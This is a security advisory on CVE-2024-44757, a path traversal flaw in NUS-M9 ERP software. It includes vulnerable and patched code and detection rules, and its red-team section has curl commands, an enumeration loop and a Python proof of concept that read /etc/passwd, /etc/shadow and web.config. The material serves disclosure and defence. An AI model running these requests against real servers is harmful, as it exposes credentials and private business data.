CVE-2024-44757

Executive Summary

CVE-2024-44757 is an arbitrary file download vulnerability in the NUS-M9 ERP Management Software v3.0.0, specifically within the /Basics/DownloadInpFile component. This flaw allows an unauthenticated attacker to download arbitrary files from the server, leading to the exposure of sensitive information such as configuration files, credentials, and business data. The vulnerability is classified under CWE-22 (Path Traversal) and is currently unpatched, with no official fix available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for data exfiltration.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom ERP software component, and no supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability description, a more realistic assessment would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Base Score: 7.5 (High)

Threat Level: High. The vulnerability allows unauthenticated remote attackers to download any file on the server, leading to complete data exposure.

Deep Dive & Mechanics

The vulnerability resides in the /Basics/DownloadInpFile endpoint of the NUS-M9 ERP Management Software v3.0.0. The application fails to properly validate user-supplied input when specifying the file path to download. An attacker can manipulate the request parameters to traverse directories and access files outside the intended directory.

Root Cause: The application uses a parameter (likely file or path) to specify the file to be downloaded. This parameter is not sanitized for path traversal sequences (e.g., ../), allowing an attacker to escape the intended download directory.

Attack Vector: An unauthenticated HTTP GET request to /Basics/DownloadInpFile?file=../../etc/passwd would return the contents of the /etc/passwd file.

Impact: Attackers can download sensitive files including:

• Database configuration files (e.g., web.config, appsettings.json)
• Source code
• User credentials
• Business data
• System files

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint
[HttpGet]
public IActionResult DownloadInpFile(string file)
{
    string filePath = Path.Combine(_downloadDirectory, file);
    if (System.IO.File.Exists(filePath))
    {
        return PhysicalFile(filePath, "application/octet-stream", file);
    }
    return NotFound();
}

Patched Code (Conceptual):

// Patched endpoint
[HttpGet]
public IActionResult DownloadInpFile(string file)
{
    // Sanitize the file name to prevent path traversal
    string safeFileName = Path.GetFileName(file);
    string filePath = Path.Combine(_downloadDirectory, safeFileName);
    if (System.IO.File.Exists(filePath))
    {
        return PhysicalFile(filePath, "application/octet-stream", safeFileName);
    }
    return NotFound();
}

Explanation: The patched code uses Path.GetFileName() to strip any directory components from the input, ensuring only the file name is used. This prevents path traversal attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running NUS-M9 ERP Management Software v3.0.0
• Network access to the /Basics/DownloadInpFile endpoint

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/Basics/DownloadInpFile
   

2. Craft a request to download sensitive files:

   curl "http://target.com/Basics/DownloadInpFile?file=../../etc/passwd"
   

3. Download configuration files:

   curl "http://target.com/Basics/DownloadInpFile?file=../../web.config"
   

4. Automate file enumeration:

   for file in "web.config" "appsettings.json" "connectionstrings.config" "etc/passwd" "etc/shadow"; do
       curl -O "http://target.com/Basics/DownloadInpFile?file=../../$file"
   done
   

Proof of Concept (PoC) Code:

import requests

target = "http://target.com"
endpoint = "/Basics/DownloadInpFile"
payload = "?file=../../etc/passwd"

response = requests.get(target + endpoint + payload)
if response.status_code == 200:
    print("[+] Successfully downloaded /etc/passwd")
    print(response.text)
else:
    print("[-] Exploit failed")

Blue Team

Detection and Response:

1. Monitor for unusual GET requests to /Basics/DownloadInpFile with path traversal patterns.
2. Look for requests containing ../ or ..\\ in the query string.
3. Alert on multiple file download requests in a short time frame.
4. Check server logs for 200 responses to /Basics/DownloadInpFile with unexpected file paths.

Mitigation Steps:

1. Immediately restrict access to the /Basics/DownloadInpFile endpoint using a Web Application Firewall (WAF) or reverse proxy.
2. Implement input validation to block path traversal sequences.
3. Apply the principle of least privilege to the application's file system access.
4. Monitor for data exfiltration attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /Basics/DownloadInpFile with file parameter containing ../ or ..\\
• Multiple requests to the same endpoint with different file paths
• Unusual file extensions in the file parameter (e.g., .config, .json, .env)

File System IOCs:

• Unexpected access to system files (e.g., /etc/passwd, /etc/shadow)
• Access to application configuration files outside the intended download directory

Log IOCs:

• Web server logs showing 200 responses to /Basics/DownloadInpFile with path traversal patterns
• Repeated requests from the same IP address to the vulnerable endpoint

Detection Engineering

YARA Rule

rule CVE_2024_44757_File_Download {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-44757"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-44757"
    strings:
        $path_traversal = /file=\.\.(\/|\\)/
        $sensitive_file = /(passwd|shadow|config|\.env|web\.config)/
    condition:
        $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2024-44757 - NUS-M9 ERP Arbitrary File Download
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting the /Basics/DownloadInpFile endpoint
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/Basics/DownloadInpFile'
        cs-uri-query|contains: 'file='
    filter:
        cs-uri-query|contains: 'file=../../'
    condition: selection and filter
falsepositives:
    - Legitimate file downloads from the intended directory
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44757 - NUS-M9 ERP Arbitrary File Download Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/Basics/DownloadInpFile"; http_uri; content:"file="; http_uri; pcre:"/file=\.\.(\/|\\)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required for business operations.
2. Implement a WAF rule to block requests containing ../ or ..\\ in the file parameter.
3. Restrict file system permissions so the application can only access the intended download directory.

Long-term Fixes:

1. Apply input validation to sanitize the file parameter, allowing only alphanumeric characters and a single file name.
2. Use a whitelist approach for allowed files to be downloaded.
3. Upgrade to a patched version when available from the vendor.
4. Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• If the endpoint is critical, implement a reverse proxy that validates the file parameter before forwarding the request to the application.

Valters IT